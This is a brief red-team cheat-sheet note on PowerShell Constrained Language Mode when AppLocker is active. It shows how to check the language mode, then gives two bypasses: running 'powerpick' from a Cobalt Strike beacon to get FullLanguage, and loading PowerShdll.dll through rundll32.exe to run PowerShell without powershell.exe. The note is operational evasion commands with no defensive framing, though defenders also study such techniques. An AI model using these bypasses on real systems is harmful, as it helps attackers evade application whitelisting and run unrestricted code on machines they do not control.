PowerShell Constrained Mode

# PowerShell When AppLocker Activated

PS> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

PS> [System.Console]::WriteLine("Hello")
Method invocation is supported only on core types in this language mode.

PowerPick

beacon> powerpick $ExecutionContext.SessionState.LanguageMode
FullLanguage

PowerShdll

# https://github.com/p3nt4/PowerShdll
# Run PowerShell Without PowerShell
rundll32.exe PowerShdll.dll,main